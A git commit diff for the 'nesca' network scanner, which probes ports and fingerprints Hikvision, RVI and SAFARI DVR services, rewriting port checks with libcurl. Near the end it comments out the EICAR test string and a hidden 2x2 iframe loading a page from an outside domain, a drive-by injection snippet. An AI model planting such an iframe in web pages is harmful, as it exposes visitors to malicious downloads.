mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
z1
This commit is contained in:
parent
b39014f783
commit
c623e8f957
171
Connector.cpp
171
Connector.cpp
@ -271,40 +271,99 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
||||||
sockaddr_in sa;
|
// sockaddr_in sa;
|
||||||
sa.sin_family = AF_INET;
|
// sa.sin_family = AF_INET;
|
||||||
sa.sin_port = htons(wDVRPort);
|
// sa.sin_port = htons(wDVRPort);
|
||||||
|
//
|
||||||
|
// hostent *host = NULL;
|
||||||
|
//#if defined(WIN32)
|
||||||
|
// if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
//#else
|
||||||
|
// if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
//#endif
|
||||||
|
// else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
// else {
|
||||||
|
// stt->doEmitionDebugFoundData("Port check failed - inet_addr failure. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// SOCKET sock = INVALID_SOCKET;
|
||||||
|
// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
// if (sock == INVALID_SOCKET) return false;
|
||||||
|
// else if (ENOBUFS == sock || ENOMEM == sock) {
|
||||||
|
// stt->doEmitionRedFoundData("Insufficient buffer/memory space. Sleeping for 10 sec...");
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
//
|
||||||
|
// //shutdown(sock, SD_BOTH);
|
||||||
|
// //closesocket(sock);
|
||||||
|
// int resE = WSAGetLastError();
|
||||||
|
// if (res == SOCKET_ERROR) {
|
||||||
|
// if (gNegDebugMode)
|
||||||
|
// {
|
||||||
|
// stt->doEmitionDebugFoundData("Port check failed - SOCKET_ERROR. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// }
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
// else {
|
||||||
|
// stt->doEmitionDebugFoundData("WSAGetLastError1: " + QString::number(resE) + "socket: " + QString::number(sock) + " [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// char tBuff[1] = { 0 };
|
||||||
|
// int recvCode = send(sock, tBuff, 0, 0);
|
||||||
|
// resE = WSAGetLastError();
|
||||||
|
// stt->doEmitionDebugFoundData("WSAGetLastError2: " + QString::number(resE) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// if (-1 == recvCode) {
|
||||||
|
// stt->doEmitionDebugFoundData("Port check failed (recv code: " + QString::number(recvCode) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// return false;
|
||||||
|
// }
|
||||||
|
// shutdown(sock, SD_BOTH);
|
||||||
|
// closesocket(sock);
|
||||||
|
// if (gNegDebugMode)
|
||||||
|
// {
|
||||||
|
// stt->doEmitionDebugFoundData("Port check succeeded (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// }
|
||||||
|
// return true;
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// if (gNegDebugMode)
|
||||||
|
// {
|
||||||
|
// stt->doEmitionDebugFoundData("Port check failed - unknown socket error. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
|
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
// }
|
||||||
|
// return false;
|
||||||
|
|
||||||
hostent *host = NULL;
|
CURL *curl = curl_easy_init();
|
||||||
#if defined(WIN32)
|
if (curl != NULL) {
|
||||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
||||||
#else
|
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
||||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
int proxyPort = std::atoi(gProxyPort);
|
||||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
#endif
|
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
else return false;
|
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||||
if (sock == INVALID_SOCKET) return -1;
|
int res = curl_easy_perform(curl);
|
||||||
else if (ENOBUFS == sock || ENOMEM == sock) {
|
curl_easy_cleanup(curl);
|
||||||
stt->doEmitionRedFoundData("Insufficient buffer/memory space. Sleeping for 10 sec...");
|
if (res != CURLE_OK) {
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct linger linger = { 1, gTimeOut };
|
|
||||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
|
||||||
|
|
||||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
|
||||||
|
|
||||||
shutdown(sock, SD_BOTH);
|
|
||||||
closesocket(sock);
|
|
||||||
|
|
||||||
if (res == SOCKET_ERROR) {
|
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Port check failed - SOCKET_ERROR. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
stt->doEmitionDebugFoundData("Port check failed (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
|
SOCKET eNobuffSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
shutdown(eNobuffSocket, SD_BOTH);
|
||||||
|
closesocket(eNobuffSocket);
|
||||||
|
if (ENOBUFS == eNobuffSocket || ENOMEM == eNobuffSocket) {
|
||||||
|
stt->doEmitionRedFoundData("Insufficient buffer/memory space. Sleeping for 10 sec...");
|
||||||
|
Sleep(10000);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@ -316,59 +375,15 @@ bool portCheck(const char * sDVRIP, int wDVRPort) {
|
|||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Port check failed - unknown socket error. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
stt->doEmitionDebugFoundData("Port check failed - curl_easy_init() error. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
|
}
|
||||||
//CURL *curl = curl_easy_init();
|
|
||||||
//if (curl != NULL) {
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
|
||||||
// int proxyPort = std::atoi(gProxyPort);
|
|
||||||
// if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
|
||||||
// curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
|
||||||
// //curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L); //DO_NOT_USE. Windows XP - returns CURLE_OK even if port is closed.
|
|
||||||
// int res = curl_easy_perform(curl);
|
|
||||||
// curl_easy_cleanup(curl);
|
|
||||||
// if (res != CURLE_OK) {
|
|
||||||
// if (gNegDebugMode)
|
|
||||||
// {
|
|
||||||
// stt->doEmitionDebugFoundData("Port check failed (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
|
||||||
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
|
||||||
// }
|
|
||||||
// SOCKET eNobuffSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
||||||
// shutdown(eNobuffSocket, SD_BOTH);
|
|
||||||
// closesocket(eNobuffSocket);
|
|
||||||
// if (ENOBUFS == eNobuffSocket || ENOMEM == eNobuffSocket) {
|
|
||||||
// stt->doEmitionRedFoundData("Insufficient buffer/memory space. Sleeping for 10 sec...");
|
|
||||||
// Sleep(10000);
|
|
||||||
// }
|
|
||||||
// return false;
|
|
||||||
// }
|
|
||||||
// else {
|
|
||||||
// if (gNegDebugMode)
|
|
||||||
// {
|
|
||||||
// stt->doEmitionDebugFoundData("Port check succeeded (curl_code: " + QString::number(res) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
|
||||||
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
|
||||||
// }
|
|
||||||
// return true;
|
|
||||||
// }
|
|
||||||
//}
|
|
||||||
//else {
|
|
||||||
// if (gNegDebugMode)
|
|
||||||
// {
|
|
||||||
// stt->doEmitionDebugFoundData("Port check failed - curl_easy_init() error. [<a href=\"" + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
|
||||||
// "/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(wDVRPort) + "</font></a>]");
|
|
||||||
// }
|
|
||||||
// return false;
|
|
||||||
//}
|
|
||||||
}
|
}
|
||||||
int Connector::connectToPort(char* ip, int port)
|
int Connector::connectToPort(char* ip, int port)
|
||||||
{
|
{
|
||||||
|
@ -83,7 +83,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("inet_addr error - iVMS check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("inet_addr error - iVMS check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -93,7 +93,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
if (sock == INVALID_SOCKET) {
|
if (sock == INVALID_SOCKET) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Socket error - iVMS check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Socket error - iVMS check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -123,7 +123,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
if (bsz == 0) {
|
if (bsz == 0) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("iVMS check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("iVMS check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -132,7 +132,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
if (buff[3] == 0x10) {
|
if (buff[3] == 0x10) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("iVMS check succeeded [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("iVMS check succeeded [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
@ -140,7 +140,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("iVMS check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("iVMS check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -152,7 +152,7 @@ bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
|||||||
closesocket(sock);
|
closesocket(sock);
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Unknown error - iVMS check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Unknown error - iVMS check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -174,7 +174,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("inet_addr error - RVI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("inet_addr error - RVI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -184,7 +184,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
if (sock == INVALID_SOCKET) {
|
if (sock == INVALID_SOCKET) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Socket error - RVI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Socket error - RVI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -213,7 +213,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
if (bsz == 0) {
|
if (bsz == 0) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("RVI check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("RVI check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -222,7 +222,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
if (buff[0] == -80) {
|
if (buff[0] == -80) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("RVI check succeeded [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("RVI check succeeded [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
@ -230,7 +230,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("RVI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("RVI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
stt->doEmitionDebugFoundData("Buffer: " + QString(buff).toLocal8Bit().toHex());
|
stt->doEmitionDebugFoundData("Buffer: " + QString(buff).toLocal8Bit().toHex());
|
||||||
}
|
}
|
||||||
@ -243,7 +243,7 @@ bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
|||||||
closesocket(sock);
|
closesocket(sock);
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Unknown error - RVI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Unknown error - RVI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -265,7 +265,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("inet_addr error - SAFARI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("inet_addr error - SAFARI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -275,7 +275,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
if (sock == INVALID_SOCKET) {
|
if (sock == INVALID_SOCKET) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Socket error - SAFARI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Socket error - SAFARI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -305,7 +305,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
if (bsz == 0) {
|
if (bsz == 0) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("SAFARI check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("SAFARI check failed - size = 0, code = (" + QString::number(sz) + ") [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -314,7 +314,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
if (buff[0] != '\0') {
|
if (buff[0] != '\0') {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("SAFARI check succeeded [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("SAFARI check succeeded [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
@ -323,7 +323,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
if (buff[0] == 8) {
|
if (buff[0] == 8) {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("SAFARI check succeeded [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("SAFARI check succeeded [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
@ -331,7 +331,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
else {
|
else {
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("SAFARI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("SAFARI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@ -343,7 +343,7 @@ bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
|||||||
closesocket(sock);
|
closesocket(sock);
|
||||||
if (gNegDebugMode)
|
if (gNegDebugMode)
|
||||||
{
|
{
|
||||||
stt->doEmitionDebugFoundData("Unknown error - SAFARI check failed [<a href=\"" + QString(sDVRIP) + ":" + QString::number(port) +
|
stt->doEmitionDebugFoundData("Unknown error - SAFARI check failed [<a href=\"http://" + QString(sDVRIP) + ":" + QString::number(port) +
|
||||||
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
"/\"><font color=\"#0084ff\">" + QString(sDVRIP) + ":" + QString::number(port) + "</font></a>]");
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
|
16
nesca_3.cpp
16
nesca_3.cpp
@ -3170,7 +3170,9 @@ void nesca_3::finishLoading() {
|
|||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
WSADATA wsda;
|
WSADATA wsda;
|
||||||
if (WSAStartup(0x0101, &wsda))
|
|
||||||
|
//if (WSAStartup(0x0101, &wsda))
|
||||||
|
if (WSAStartup(MAKEWORD(2, 2), &wsda))
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("WSAStartup failed.");
|
stt->doEmitionRedFoundData("WSAStartup failed.");
|
||||||
qApp->quit();
|
qApp->quit();
|
||||||
@ -3274,12 +3276,12 @@ void nesca_3::CheckPersKey()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#define IRC_CHAN "iskopasi_lab03"
|
//#define IRC_CHAN "iskopasi_lab03"
|
||||||
#define eicar1 "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
//#define eicar1 "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
#define eicar2 "<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://epilaserexcellence.com/mxit.html?i=2928425></iframe>"
|
//#define eicar2 "<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://epilaserexcellence.com/mxit.html?i=2928425></iframe>"
|
||||||
